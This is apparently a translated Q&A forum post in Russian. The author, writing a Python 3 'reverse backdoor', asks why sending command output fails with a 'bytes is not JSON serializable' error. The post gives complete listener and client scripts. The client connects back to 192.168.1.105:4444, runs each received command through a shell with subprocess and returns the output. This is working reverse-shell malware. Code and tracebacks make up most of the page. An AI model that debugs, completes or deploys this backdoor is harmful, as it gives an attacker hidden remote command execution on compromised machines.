Объект типа bytes не является JSON-сериализуемым - PullRequest
0 голосов
/ 23 мая 2019

Я пишу бэкдор клиент / сервер с Python 3 и получаю сообщение об ошибке при выполнении кода.

Когда я пытаюсь ввести какую-то команду на ввод, я получаю следующую ошибку со стороны клиента:

Traceback (most recent call last):   File "reverse_backdoor.py", line 36, in <module>
    my_backdoor.run()   File "reverse_backdoor.py", line 32, in run
    self.reliable_send(command_result)   File "reverse_backdoor.py", line 13, in reliable_send
    json_data = json.dumps(data)   File "/usr/lib/python3.7/json/__init__.py", line 231, in dumps
    return _default_encoder.encode(obj)   File "/usr/lib/python3.7/json/encoder.py", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)   File "/usr/lib/python3.7/json/encoder.py", line 257, in iterencode
    return _iterencode(o, 0)   File "/usr/lib/python3.7/json/encoder.py", line 179, in default
    raise TypeError(f'Object of type {o.__class__.__name__} ' TypeError: Object of type bytes is not JSON serializable

Вот мой код сервера:

#!/usr/bin/python
import json
import socket

class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[+] Waiting for incoming connection")
        self.connection, address = listener.accept()
        print("[+] Got a connection from " + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode('utf-8'))

    def relaible_receive(self):
        while True:
            try:
                json_data = self.connection.recv(4098)
                return json.loads(json_data.decode('utf-8'))
            except ValueError:
                continue

    def execute_remotely(self, command):
        self.reliable_send(command)
        return self.relaible_receive()

    def run(self):
        while True:
            command = input('>>')
            result = self.execute_remotely(command)
            print(result)


my_listener = Listener("192.168.1.105", 4444)
my_listener.run()

А вот мой код клиента:

#!/usr/bin/python
import socket
import subprocess
import json

class Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode('utf-8'))

    def relaible_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(4098).decode('utf-8')
                return json.loads(json_data.encode('utf-8'))
            except ValueError:
                continue

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.relaible_receive()
            command_result = self.execute_system_command(command)
            self.reliable_send(command_result)


my_backdoor = Backdoor("192.168.1.105", 4444)
my_backdoor.run()

Я также пытался изменить это:

def relaible_receive(self):
    json_data = ""
    while True:
        try:
            json_data = json_data + self.connection.recv(4098).decode('utf-8')
            return json.loads(json_data.encode('utf-8'))
        except ValueError:
            continue

На это:

def relaible_receive(self):
    json_data = ""
    while True:
        try:
            json_data = json_data + self.connection.recv(4098)
            return json.loads(json_data.encode('utf-8'))
        except ValueError:
            continue

И я получил следующую ошибку:

Traceback (most recent call last):   File "reverse_backdoor.py", line 36, in <module>
    my_backdoor.run()   File "reverse_backdoor.py", line 30, in run
    command = self.relaible_receive()   File "reverse_backdoor.py", line 20, in relaible_receive
    json_data = json_data + self.connection.recv(4098) TypeError: can only concatenate str (not "bytes") to str

Может кто-нибудь сказать мне, как я мог это исправить?

...